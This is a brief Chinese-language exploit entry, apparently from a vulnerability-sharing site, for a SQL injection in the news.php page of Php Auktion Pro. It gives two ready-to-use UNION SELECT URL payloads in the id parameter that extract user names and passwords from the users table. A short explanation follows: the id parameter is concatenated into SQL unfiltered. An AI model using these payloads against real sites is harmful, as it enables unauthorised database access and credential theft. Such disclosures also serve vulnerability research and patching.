## Php Auktion Pro SQL (news.php) SQL Injection Vulnerability
### exp:
www.site.com/auktionblau/news.php?id=null+union+select+1,2,convert
(password using utf8),4,5+from+users#
或者
www.site.com/auktionblau/news.php?id=null+union+select+1,2,concat
(name,0x3a,password),4,5+from+users#
### 漏洞形成原因:
news.php没有对提交的$_GET['id']参数进行过滤,直接拼接成sql从而造成注入
暂无评论